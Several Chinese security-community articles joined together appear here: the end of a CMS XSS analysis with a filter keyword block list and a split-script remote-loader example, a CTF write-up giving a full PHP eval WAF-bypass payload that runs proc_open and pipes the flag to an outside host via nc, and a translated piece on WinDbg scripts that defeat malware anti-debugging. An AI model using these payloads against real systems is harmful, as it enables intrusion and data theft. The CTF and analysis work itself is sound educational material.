// 0{0,7} matches any padded zeros, which are optional and go up to 8 chars
// @ @ search for the hex values
$val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ;
// @ @ 0{0,7} matches '0' zero to seven times
$val = preg_replace('/(�{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;
}
$ra1 = Array('_GET','_POST','_COOKIE','_REQUEST','if:','javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base', 'eval', 'passthru', 'exec', 'assert', 'system', 'chroot', 'chgrp', 'chown', 'shell_exec', 'proc_open', 'ini_restore', 'dl', 'readlink', 'symlink', 'popen', 'stream_socket_server', 'pfsockopen', 'putenv', 'cmd','base64_decode','fopen','fputs','replace','input','contents');
$ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
$ra = array_merge($ra1, $ra2);
$found = true; // keep replacing as long as the previous round replaced something
while ($found == true) {
$val_before = $val;
for ($i = 0; $i < sizeof($ra); $i++) {
$pattern = '/';
for ($j = 0; $j < strlen($ra[$i]); $j++) {
if ($j > 0) {
$pattern .= '(';
$pattern .= '(&#[xX]0{0,8}([9ab]);)';
$pattern .= '|';
$pattern .= '|(�{0,8}([9|10|13]);)';
$pattern .= ')*';
}
$pattern .= $ra[$i][$j];
}
$pattern .= '/i';
$replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag
$val = preg_replace($pattern, $replacement, $val); // filter out the hex tags
if ($val_before == $val) {
// no replacements were made, so exit the loop
$found = false;
}
}
}
return $val;
}
RemoveXSS函数针对关键字会在第二个字符后添加<x>以防止XSS，但仅仅过滤了script，javascript等几个有限的关键字，大部分标签可以利用，但难点在于数据库字段长度限制为20，便限制了大部分的XSS
</x>
除此之外，后台还会在a标签中引用username，但我才疏学浅，并没找到利用方式。
这里我提供了两个思路，供师傅们参考
##### 拆分跨站法
来自著名安全研究员剑心发布的一篇文章《疯狂的跨站之行》，针对长度限制，可以利用拆分跨站法，即将代码拆分，赋值给JavaScript变量，最后利用eval函数执行变量，举例
<script>z=’document.write’</script>
<script>z=Z+’write（” ‘</script>
<script>z=z+’<script>’</script>
<script>z=z+’ src=ht’</script>
<script>z=z+’tp://ww’</script>
<script>z=z+’w.shell’</script>
<script>z=z+’.net/1.’</script>
<script>z=z+’js></sc’</script>
<script>z=z+’ript’</script>
<script>eval(z)</script>
针对此cms，难点在于过滤了script导致没有办法构造字符串，而利用其他标签长度又不够，难以突破
##### 事件
waf虽然过滤了五个比较常见的on标签但还有其他相当多的标签可利用，例如
onResume
onReverse
onRowDelete
onRowInserted
onSeek
onSynchRestored
onTimeError
onTrackChange
onURLFlip
onRepeat
......
但这些标签利用都超过了长度限制，因此难以突破
### 总结
前端漏洞一般难以引起注意，危害性也没有后端的漏洞大，但前端漏洞非常灵活，无论是存储型XSS的反弹cookie还是反射性的钓鱼攻击，都有可能造成更大的危害，千里之堤溃于蚁穴。前端的安全不容忽视。 | 社区文章 |
## 题目描述
这篇writeup是关于这次比赛 `PHP+1`,
`PHP+1.5`和`PHP+2.5`这三道代码审计题目的。我们可以用同一个payload来解决这三道题目。这三道题的考点是全部相同的: **Bypass
the WAF and get a shell**
## 题目分析
首先看第一道题（PHP+1），打开题目链接就能直接获取到题目代码
<?php
// PHP+1
$input = $_GET['input'];
function check()
{
global $input;
foreach (get_defined_functions()['internal'] as $blacklisted) {
if (preg_match('/' . $blacklisted . '/im', $input)) {
echo "Your input is blacklisted" . "<br>";
return true;
break;
}
}
$blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
unset($blacklist);
return false;
}
$thisfille = $_GET['thisfile'];
if (is_file($thisfille)) {
echo "You can't use inner file" . "<br>";
} else {
if (file_exists($thisfille)) {
if (check()) {
echo "Naaah" . "<br>";
} else {
eval($input);
}
} else {
echo "File doesn't exist" . "<br>";
}
}
function iterate($ass)
{
foreach ($ass as $hole) {
echo "AssHole";
}
}
highlight_file(__FILE__);
?>
上面的代码简单来说就是，我们需要传入两个参数：`input`和`thisfile`。
对于参数`thisfile`我们可以给它传入一个目录路径来绕过`is_file`，`file_existes`这两个函数的检测。
绕过这两个函数的检测之后，接下来我们要想办法绕过`check`函数，这个函数将获取所有PHP的系统内置函数，并检查我们的输入是否含有这些系统内置函数。如果检测到输入了系统内置函数，那么就会被check。
下一道题（PHP+1.5），同样直接打开题目链接就能获取到题目源码，源码如下
<?php
// php+1.5
$input = $_GET['input'];
function check()
{
global $input;
foreach (get_defined_functions()['internal'] as $blacklisted) {
if (preg_match('/' . $blacklisted . '/im', $input)) {
echo "Your input is blacklisted" . "<br>";
return true;
break;
}
}
$blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
if (preg_match("/$blacklist/i", $input)) {
echo "Do you really you need that?" . "<br>";
return true;
}
unset($blacklist);
return false;
}
$thisfille = $_GET['thisfile'];
if (is_file($thisfille)) {
echo "You can't use inner file" . "<br>";
} else {
if (file_exists($thisfille)) {
if (check()) {
echo "Naaah" . "<br>";
} else {
eval($input);
}
} else {
echo "File doesn't exist" . "<br>";
}
}
function iterate($ass)
{
foreach ($ass as $hole) {
echo "AssHole";
}
}
highlight_file(__FILE__);
?>
这道题和之前那道题的不同点在于，我们的输入会再被参数`blacklist`过滤一遍。所以在上一道题甚至可以用`eval`去执行一些代码。因为`eval`并不是一个函数，详情见PHP手册英文版（中文版翻译有误差）。PHP手册中写到`eval`是一个`language
construct`。进一步查询可以知道，在PHP中有很多`words`都是`language construct`
最后再来观察第三道题（PHP+2.5），源码如下
<?php
//PHP+2.5
$input = $_GET['input'];
function check()
{
global $input;
foreach (get_defined_functions()['internal'] as $blacklisted) {
if (preg_match('/' . $blacklisted . '/im', $input)) {
echo "Your input is blacklisted" . "<br>";
return true;
break;
}
}
$blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
if (preg_match("/$blacklist/i", $input)) {
echo "Do you really you need that?" . "<br>";
return true;
}
unset($blacklist);
if (strlen($input) > 100) { #That is random no. I took ;)
echo "This is getting really large input..." . "<br>";
return true;
}
return false;
}
$thisfille = $_GET['thisfile'];
if (is_file($thisfille)) {
echo "You can't use inner file" . "<br>";
} else {
if (file_exists($thisfille)) {
if (check()) {
echo "Naaah" . "<br>";
} else {
eval($input);
}
} else {
echo "File doesn't exist" . "<br>";
}
}
function iterate($ass)
{
foreach ($ass as $hole) {
echo "AssHole";
}
}
highlight_file(__FILE__);
?>
PHP+2.5与上面两道相比，它的限制条件更加苛刻，要求参数input的长度小于100字符
## 构造Payload一穿三
第一步是想办法执行`phpinfo()`，然后在phpinfo中查找`disable_functions`。想办法找到可以利用的函数去getshell。仔细查找之后，发现`.`与`$`不在`$blacklist`里面。这两个字符将会有助于我们绕过`preg_match`的过滤。
我们可以利用PHP字符串拼接的方式去构造出phpinfo，payload如下
$a=p.h.p.i.n.f.o;$a();
虽然这种拼接方式，php可能会报一些警告，但是并不会报错。是能够正常执行的。
我们利用拼接好的payload去尝试读取phpinfo。成功读到phpinfo。`disable_functions`如下
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,system,shell_exec,popen,passthru,link,symlink,syslog,imap_open,ld,error_log,mail,file_put_contents,scandir,file_get_contents,readfile,fread,fopen,chdir
仔细观察，发现`proc_open`函数并没有被ban掉。这也是一穿三的关键所在。查看`proc_open`的函数手册，我们发现这个函数需要传入三个参数：
**我们想要执行的命令和两个数组** 。第一个数组是一个文件描述符的数组。就像下面一样
array(
array('pipe' => 'r'),
array('pipe' => 'w'),
array('pipe' => 'w')
);
而在利用它来直接构造payload的时候发现，如果直接将其加入payload，会造成payload超出限制长度的问题。这时候可以巧妙的利用$_GET请求来发送数组。本地测试如下
payload = " arr[0][]=pipe&arr[0][]=r&arr[1][]=pipe&arr[1][]=w&arr[2][]=pipe&arr[2][]=w "
为了调用`proc_open`，我们可以再次使用PHP字符串拼接的方式。但是这时候遇到一个问题，我们发现下划线居然被过滤了，简直丧心病狂。最后可以拼接出一个`chr`函数。利用ascii编码来绕过下划线过滤
$b=ch.r;$u=$b(95);
然后将构造好的下划线拼到`proc_open`中
$e=pr.oc.$u.op.en;
接下来我们需要想办法构造一个GET传参，以获取传入的描述数组。可以利用PHP的可变变量去构造，先构造一个`_GET`，然后再`$$_GET`，即可。
$k=$u.G.E.T;$g=$$k;
现在，一切都准备好了。再来回顾一下，`proc_open`需要三个参数`(要执行的命令, 一个索引数组, 命令的初始工作目录)`
我们可以使用`current`和`next`这两个函数去构造payload。但是这时需要注意的一个问题是。URL上的第一个变量一定要是我们要执行的命令，第二个变量是描述数组
我们可以利用以上条件，将payload构造成大概长这个样子
http://challenge-address/?p=command&arr[][]=descriptor-array&input=payload&thisfile=/var/
但是有个问题，我们不知道应该怎么去查询flag文件的位置。这时可以使用`glob`函数去寻找文件
eval('echo im'.'plode("a",gl'.'ob("*"));');&thisfile=/var/
// 这里有个取巧的地方是，我们只在第一道题查询了flag文件的位置（只有第一道题能够使用eval）。然后在后面两道题目中我们猜测flag的位置是固定不变的。事实证明，果然如此。
我们准备读取`/flag`文件，但是发现权限不够。这时候发现同目录下面还有一个`/readFlag`的可执行文件。利用这个可执行文件，顺利拿到flag。
关键部分payload构造如下
$b=ch.r;
$u=$b(95);
$k=$u.G.E.T;
$c=cur.rent;
$n=ne.xt;
$g=$$k;
$e=pr.oc.$u.op.en;
$e($c($g),$n($g),$j);
// proc_open(current($$_GET),next($$_GET),$j);
完整payload如下（input最终长度为97个字符）
`http://xxx.xxx.xx/?p=/readFlag /flag | nc your-ip
port&arr[0][]=pipe&arr[0][]=r&arr[1][]=pipe&arr[1][]=w&arr[2][]=pipe&arr[2][]=w&input=$b=ch.r;$u=$b(95);$k=$u.G.E.T;$c=cur.rent;$n=ne.xt;$g=$$k;$e=pr.oc.$u.op.en;$e($c($g),$n($g),$j);$thisfile=/var/` | 社区文章 |
# 【技术分享】利用WinDbg脚本对抗反调试技术
|
##### 译文声明
本文是翻译文章，文章来源：vallejo.cc
原文地址：<https://vallejo.cc/2017/07/16/anti-antidebugging-windbg-scripts/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[shan66](http://bobao.360.cn/member/contribute?uid=2522399780)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**简介**
在这篇文章中，我将向读者分享一些WinDbg脚本，它们在逆向采用了反调试技术的恶意软件的时候，非常有用——至少对我来说非常有用。当然，我不是Windows内核方面的专家，所以一方面在脚本中难免会发现错误，另一方面，我正在做的事情确实非常疯狂，所以极有可能会对计算机造成损害。
这些脚本适用于WinDbg（不是本地的）内核调试。您需要一台机器来运行WinDbg，并将其连接到被调试的另一台机器上。就我而言，我使用Windows主机来运行WinDbg，然后用它来调试VMware机器（我使用VirtualKD作为调试器连接，因为这样的话，连接速度要快得多），当然，您也可以使用其他配置。
关于环境的搭设，各位可以参考下列文章：
[VirtualKD – Installation](http://virtualkd.sysprogs.org/tutorials/install/)
[Starting with Windows Kernel Exploitation – part 1 – setting up the
lab](https://hshrzd.wordpress.com/2017/05/28/starting-with-windows-kernel-exploitation-part-1-setting-up-the-lab/)
[Setting Up Kernel-Mode Debugging of a Virtual Machine
Manually](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/attaching-to-a-virtual-machine--kernel-mode-)
好了，下面开始对各个脚本逐一介绍。
**Anti-rdtsc-trick 脚本**
****
参数： **$$ >a<anti_antidebug_rdtsc.wdbg**
脚本：
[anti_antidebug_rdtsc.wdbg](https://github.com/vallejocc/Reversing-Arsenal/blob/master/WinDbg/anti_antidebug_rdtsc.wdbg)
有关这个技巧的信息在互联网上有很多。利用它，您可以读取pafish代码：
<https://github.com/a0rtega/pafish/blob/master/pafish/cpu.c>
有一些工具会安装一个驱动程序来对付它。
WinDbg脚本以类似的方式工作，但它不需要驱动程序，它可以同时在x86和x64中运行（不知道是否有相应的工具可以在64位上使用）。
它的工作原理：它启用cr4的标志2（TSD时间戳禁用）。RDTSC是一种特权指令。之后，它会启用Windbg中的相应选项，以便在用户模式异常发生时停下来（gflag
+ sue + soe，gflags 0x20000001）。
然后它开始捕获0xc0000096异常（执行特权指令）。通过这种方式，当应用程序执行RDTSC时，会发生异常，而windbg则会捕获该异常。这时，脚本会检查RDTSC的内容，0x310f。
如果是RDTSC指令，则跳过该指令，ip = ip + 2。 最后，它完成下列设置工作：edx = 0，eax = last_counter +
1。对于执行RDTSC的应用程序来说，将看到RDTSC每执行一次，相应的值就增1。
脚本：
$$set rdtsc as priv instruction, then catch
$$exceptions for priv instructions and skip
$$rdtsc(eip=eip+2) and set edx:eax = last rdtsc
$$returned value +1
$$use $t9 for counter
r $t9 = 0
$$rdtsc = privileged instruction
r cr4 = cr4 | 4
$$Stop on exception
!gflag +soe
$$Stop on unhandled user-mode exception
!gflag +sue
$$disable access violation (we have enabled exception
$$in user mode, and access violation will cause lot of
$$exceptions)
sxd av
$$we enable to catch privileged instructions execution
$$(we have converted rdtsc in priv ins with cr4)
$$in this moment we check if it is rdtsc, and in this case,
$$we jump over the instruction and we set eax=0 edx=0
sxe -c ".if((poi(eip)&0x0000ffff)==0x310f){.printf "rdtscrn";r eip = eip+2;r eax=@$t9;r edx=0;r $t9=@$t9+1; gh;}" c0000096
**对运行中进程重命名的脚本**
****
参数： **$$ >a<change_process_name.wdbg <main module of the process>**
脚本：
[change_process_name.wdbg](https://github.com/vallejocc/Reversing-Arsenal/blob/master/WinDbg/change_process_name.wdbg)
如果我们想给一个进程改名的话，则需要修改 **EPROCESS- > SeAuditProcessCreationInfo.ImageFileName**：
该脚本需要以进程的主映像的名称作为其参数。它使用该imagename搜索进程，找到后，修改其名称最后一个字母，具体来说就是将相应的编码+1。例如：
**$$ >a<change_process_name.wdbg vmtoolsd.exe**
就本例来说，该脚本将重命名 **vmtoolsd.exe – > vmtoolse.exe**。
当恶意软件搜索这个进程时，就找不到它了。但是，重命名的进程可以继续运行而不会出现任何问题。
脚本：
aS stage @$t19
.block
{
.sympath "SRV*c:symcache*http://msdl.microsoft.com/download/symbols";
.reload
}
.block
{
r stage = 2
.printf "xxxx"
.foreach (processes_tok { !process /m ${$arg1} 0 0 })
{
.if($scmp("${processes_tok}","PROCESS")==0)
{
.if(${stage}==2)
{
$$stage==2 is used to skip the first apparition of
$$PROCESS string in the results of !process 0 0
r stage = 0
}
.else
{
r stage = 1
}
}
.elsif(${stage}==1)
{
.printf /D "<b>Renaming process ${processes_tok}</b>n"
r stage = 0
r $t4 = ${processes_tok}
r $t0 = @@c++( ( ( nt!_EPROCESS * ) @$t4 )->SeAuditProcessCreationInfo.ImageFileName )
r $t1 = (poi @$t0)&0xffff
r $t2 = (poi (@$t0+2))&0xffff
r $t3 = (poi (@$t0+@@c++(#FIELD_OFFSET(nt!_UNICODE_STRING, Buffer))))
db ($t3 + $t1 - a)
$$go to end of buffer of _UNICODE_STRING, and go back 0xa bytes.
$$For example <filepath....><lastbyte>.exe. We locate on
$$lastbyte, and we increase 1 the value of last byte
$$For example <fullpath>vmtoolsd.exe, will be modified to
$$<fullpath>vmtoolse.exe
eb ($t3 + $t1 - a) ((poi($t3 + $t1 - a)&0xff)+1)
!process @$t4 0
}
}
}
**用于重命名内核对象的脚本**
****
参数： **$$ >a<change_object_name.wdbg <full object path + name>**
脚本：
[change_object_name.wdbg](https://github.com/vallejocc/Reversing-Arsenal/blob/master/WinDbg/change_object_name.wdbg)
这个脚本可以用来重命名内核中的对象。
首先，它获取与对象相关联的_OBJECT_HEADER结构的地址（它从 !object 命令的结果获取地址）。
获取 **_OBJECT_HEADER** 后，可以在_OBJECT_HEADER – 0x10（x86）或-0x20（x64）的地址中获取
**_OBJECT_HEADER_NAME_INFO** 结构：
为了修改对象的名称，我们必须将_UNICODE_STRING改为_OBJECT_HEADER_NAME_INFO。
下面是取自pafish一个实际的例子：
它会尝试打开一些设备。实际上，vmci是一个设备，而hgfs是设备的符号链接。无论如何，这两个都是内核对象，它们有一个_OBJECT_HEADER和一个_OBJECT_HEADER_NAME_INFO。
我们调用该脚本：
**$$ >a<change_object_name.wdbg global??hgfs -> new name global??agfs**
**$$ >a<change_object_name.wdbg devicesvmci -> new name devicesamci**
当pafish尝试CreateFileA这些设备时，它会失败，并且基于这种技术的VM检测也会失效。
脚本：
aS stage @$t19
aS x64arch $t18
aS objhnameinfodisp $t17
.block
{
.sympath "SRV*c:symcache*http://msdl.microsoft.com/download/symbols";
.reload
}
.block
{
$$is x64?
r x64arch = 0;
r objhnameinfodisp = 0x10;
.foreach( tok { .effmach } )
{
.if($scmp("${tok}","x64")==0)
{
r x64arch = 1;
r objhnameinfodisp = 0x20;
.break;
};
};
}
r stage = 0
.foreach( tok { !object "${$arg1}" } )
{
.printf "${tok}rn"
.if(${stage}==1)
{
.echo ${tok}
dt _OBJECT_HEADER ${tok}
r $t0 = ${tok}
dt _OBJECT_HEADER_NAME_INFO (@$t0-${objhnameinfodisp})
$$ $t0 -> OBJECT_HEADER_NAME_INFO
r $t0 = @$t0 - ${objhnameinfodisp}
$$ $t0 -> OBJECT_HEADER_NAME_INFO.UNICODE_STRING
r $t0 = @$t0 + @@c++(#FIELD_OFFSET(_OBJECT_HEADER_NAME_INFO, Name))
$$ $t0 -> OBJECT_HEADER_NAME_INFO.UNICODE_STRING.Buffer
r $t0 = @$t0 + @@c++(#FIELD_OFFSET(_UNICODE_STRING, Buffer))
db poi $t0
$$change the first letter for 'a'
eb (poi $t0) 'a'
.printf "--------------------rn"
db poi $t0
.break
}
.if(${stage}==0)
{
.if($scmp("${tok}","ObjectHeader:")==0)
{
r stage = 1
}
}
}
**未完待续…**
****
对于诸如注册表项（HKLM SOFTWARE VMware，Inc. VMware
Tools，…）或文件（vmmouse.sys，…）来说，逃避检测最简单的方法是删除/重命名所检测的注册表项或文件。pafish也使用乐VMware
MAC地址，但vmware允许您修改适配器的MAC。
将来，我们还会为其他类似的东西些脚本，例如内存中的设备或进程等等，也许它们更难以隐藏。当然，一旦写好了，我会专门发文张贴。
希望本文对读者有所帮助。 | 社区文章 |
Subsets and Splits